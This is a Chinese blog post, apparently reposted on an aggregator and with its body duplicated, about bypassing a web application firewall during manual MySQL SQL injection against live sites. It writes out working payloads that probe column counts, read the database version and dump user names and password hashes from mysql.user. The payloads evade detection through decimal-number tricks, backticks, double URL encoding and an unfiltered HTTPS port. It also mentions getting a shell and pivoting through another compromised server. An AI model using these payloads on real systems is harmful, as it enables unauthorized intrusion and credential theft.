MYSQL-手工SQL注入绕过技巧-实战篇
来源:互联网 发布:白鹤翔java架构师视频 编辑:程序博客网 时间:2024/05/01 21:51
之前遇到一个站点,经检测存在SQL注入,但是有WAF存在,后来知道是绿盟的WEB应用防火墙。
后来在社区看到了一篇关于《sql注入绕过技巧》的文章后(原文:http://zone.wooyun.org/content/16772),回过头来重新进行手工,这次总算干掉了WAF。以下是自己对于本次渗透的一些学习笔记,包含一些绕过waf的技巧。
首先判断注入点
id=161-(select 1) 返回另一篇文章,基本确定存在注入。
然后,尝试通过union查询来获取数据,但是连接老是被重置,而且过于频繁的请求还被封IP。所以确定有waf的存在。接下来就是考虑如何绕过waf进行注入了。
首先要获知返回的列数
id=161.0ORDER BY%2B9 这样的查询可以绕过waf检测,而一般的 id=161 ORDER BY 9 则不行。
接下来就容易多了,尝试一下获取数据库版本
id=161444.0Union(select-1.0,2,3,4,5,6,7,@@version)
返回正常,但是id=161 and 4>5 union select 1,2,3,4,5,6,7,@@version 则不行。
基于关键字的检测,主要是去掉关键字边界的空格,还有就是使用等效法代替被检测的字符串。比如上例,如果使用version()代替@@version则不行。还有id=161444.0有两个作业,第一让原来的查询返回空,第二这是一个小数,小数后可以直接接关键字,而不用空格。
是不是root呢,这很关键。
尝试了这5个函数或变量都被过滤了:user(), current_user(), current_user, system_user(), session_user()
好吧,干脆直接查看mysql.user表算了
id=1614444.0Union(select-1.0,password,3,4,5,6,7,`user`FROM(`mysql`.user))
好了,是root,高兴了。
这里关键是反单引号的使用,成功逃过了敏感字符串“mysql.user”的检测。
这里主要说的是注入,getshell就不说了。后来发现拿下C段的另一台服务器后(假设是A),再通过A的远程桌面访问目标服务器,然后进行注入是不受防火墙限制的。可能是因为防火墙放置在网络边界的外围某节点,而从内部访问的数据并没有经过该节点所致。
接下来在说说我遇到过的另一种sql注入情况
经过最初的手工判断目标站点存在注入,而且同样存在waf。刚开始碰到这种情况我也不知所措,然后一直跟着不放终于找到破解的方法。
当开始我从正面无法突破,于是想到了从非标准入口下手,然后扫描目标服务器开放了哪些端口。发现目标除了开80还开了其他端口还有443,然后尝试访问https:www.example.com 发现和http://www.example.com返回的结果一模一样。
然后想有没有可能waf只过滤了其中一个端口,事实证明运气就是这么好.
https://www.example.com/Article/show/id/477777 Union select 1,2,3,version(),5,6,7,8,9,10,11,12,13
在后来通过尝试也找到了证明突破的方法
http://www.exmaple.com/Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euser)
又是root,运气好没得说。
在这里并没用使用反单引号来图片waf对字符串“mysql.user”的检测,还是采用了两次URL编码的方式将即:mysql%252euser。
为什么可以这样呢,因为waf只对请求的字符串进行一次URL解码,而后端的web server却进行两次URL解码。所以waf认为没有危险的字符串,就因为这样的的失误造成了危害。
首先判断注入点
id=161-(select 1) 返回另一篇文章,基本确定存在注入。
然后,尝试通过union查询来获取数据,但是连接老是被重置,而且过于频繁的请求还被封IP。所以确定有waf的存在。接下来就是考虑如何绕过waf进行注入了。
首先要获知返回的列数
id=161.0ORDER BY%2B9 这样的查询可以绕过waf检测,而一般的 id=161 ORDER BY 9 则不行。
接下来就容易多了,尝试一下获取数据库版本
id=161444.0Union(select-1.0,2,3,4,5,6,7,@@version)
返回正常,但是id=161 and 4>5 union select 1,2,3,4,5,6,7,@@version 则不行。
基于关键字的检测,主要是去掉关键字边界的空格,还有就是使用等效法代替被检测的字符串。比如上例,如果使用version()代替@@version则不行。还有id=161444.0有两个作业,第一让原来的查询返回空,第二这是一个小数,小数后可以直接接关键字,而不用空格。
是不是root呢,这很关键。
尝试了这5个函数或变量都被过滤了:user(), current_user(), current_user, system_user(), session_user()
好吧,干脆直接查看mysql.user表算了
id=1614444.0Union(select-1.0,password,3,4,5,6,7,`user`FROM(`mysql`.user))
好了,是root,高兴了。
这里关键是反单引号的使用,成功逃过了敏感字符串“mysql.user”的检测。
这里主要说的是注入,getshell就不说了。后来发现拿下C段的另一台服务器后(假设是A),再通过A的远程桌面访问目标服务器,然后进行注入是不受防火墙限制的。可能是因为防火墙放置在网络边界的外围某节点,而从内部访问的数据并没有经过该节点所致。
接下来在说说我遇到过的另一种sql注入情况
经过最初的手工判断目标站点存在注入,而且同样存在waf。刚开始碰到这种情况我也不知所措,然后一直跟着不放终于找到破解的方法。
当开始我从正面无法突破,于是想到了从非标准入口下手,然后扫描目标服务器开放了哪些端口。发现目标除了开80还开了其他端口还有443,然后尝试访问https:www.example.com 发现和http://www.example.com返回的结果一模一样。
然后想有没有可能waf只过滤了其中一个端口,事实证明运气就是这么好.
https://www.example.com/Article/show/id/477777 Union select 1,2,3,version(),5,6,7,8,9,10,11,12,13
在后来通过尝试也找到了证明突破的方法
http://www.exmaple.com/Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euser)
又是root,运气好没得说。
在这里并没用使用反单引号来图片waf对字符串“mysql.user”的检测,还是采用了两次URL编码的方式将即:mysql%252euser。
为什么可以这样呢,因为waf只对请求的字符串进行一次URL解码,而后端的web server却进行两次URL解码。所以waf认为没有危险的字符串,就因为这样的的失误造成了危害。
0 0
- MYSQL-手工SQL注入绕过技巧-实战篇
- SQL注入绕过技巧
- MYSQL注入绕过技巧
- SQL手工注入基础详解---- MySQL篇
- SQL注入防御与绕过的技巧
- 介绍SQL手工注入高级技巧
- SQL注入之绕过
- SQL手工注入基础详解----MSSQL篇
- SQL手工注入基础详解---- Access篇
- SQL手工注入基础详解---- postgresql篇
- 手工SQL注入教程
- 手工SQL注入入侵
- sql手工注入
- SQL手工注入大全
- SQL 手工注入大全
- sql手工注入
- SQL手工注入测试
- SQL手工注入
- Spring注解@Component、@Repository、@Service、@Controller区别
- linux公社以及下载账户
- iOS开发UISlider滑动条的属性介绍以及于标签联合使用实时显示变动值
- 删除IE input 下的小叉叉
- JAVABEAN转换为XML
- MYSQL-手工SQL注入绕过技巧-实战篇
- Rad Hat Enterprise Linux 6.0 安装 tomcat
- grep用法
- 安装配置SPICE服务
- 使用Psapi接口查看进程状态
- android里Filter的研究
- javascript11位手机号码正则表达式
- Unity在Scene下绘制图片
- find用法